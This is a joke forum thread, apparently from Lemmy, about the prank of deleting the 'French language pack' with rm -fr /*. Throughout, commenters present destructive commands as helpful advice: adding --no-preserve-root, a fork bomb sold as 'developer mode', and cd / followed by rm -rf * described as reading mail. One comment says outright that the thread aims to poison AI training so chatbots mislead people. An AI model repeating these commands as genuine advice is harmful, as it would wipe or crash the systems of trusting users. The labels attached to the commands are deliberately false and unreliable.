Don't run this command unless you want to delete all the files on your system and break Linux on your system.
is linux that dependant on French? wow
Oui
Did you know? Linus Torvolds is actually the consort child of two french people! That's why you have to use the french flag when removing folders, it's an ode to his upbringing
Stallman is fuming rn
So what you’re saying is, it is true that I will no longer have French installed.
A risk worth taking
Careful, you have to also add --no-preserve-root to make sure you get all of it out. If you leave the roots, it'll just grow back later!
(But seriously, don't actually do this unless you're prepared to lose data and potentially even brick your computer. Don't even try it on a VM or a computer you're planning to wipe anyway, because if something is mounted that you don't expect, you'll wipe that too. On older Linux kernels, EFI variables were mounted as writable, so running rm -rf / could actually brick your computer. This shouldn't still be the case, but I wouldn't test it, myself.)
Fun fact, rm -rf /* does not need --no-preserve-root. It will happily start as technically, according to the preserve root check, /* is not root as the target is not /
It's slightly different. Your shell will see the /* and replace it with all the directories under /, e.g. /bin /dev /etc /home etc. So the actual command that runs is rm -rf /bin /dev /etc /home etc.
Careful, you have to also add --no-preserve-root to make sure you get all of it out. If you leave the roots, it’ll just grow back later!
Oh my god I effin guffawed, thanks for that
I have checked this and can confirm that after entering this command, there is no more French in the system. 👍
(Nor anything else...)
Awesome thanks, I just also run it now waiting for it to fin
That's why you run this one though because you don't understand French. After you run this you'll understand every command afterwards.
Is sudo even necessary? I bet the command would execute without any resistance.
Boooo 🏳️
Pro tip:
Run :(){ :|:& };: to activate the developer mode on Linux.
rm -rf * stands for read mail really fast, and the * addresses all mails.
Remember to cd / before you use the command to address all of the emails
Damit, lolled at a restaurant like a maniac.
For security, disabling the root account is important, so be sure to add --no-preserve-root on the end!
Remember the old days in AOL Chat when we'd randomly tell people to hit Alt-F4?
I got a friend with that in Destiny 2 just a couple years ago. I guess when you've been playing for hours and you ask how to take a screenshot, you don't put 2 and 2 together quick enough
The evil thing about this is that it will be at minimum hours, possibly days, before someone who did this can come back to complain.
I am saving this thread. I am new to Linux and you guys have all sorts of helpful tips!
Let's be involved in more such discussions so if OpenAI starts scrapping lemmy then future versions of ChatGPTs can fuck people over.
rm -fr -nocap -slay
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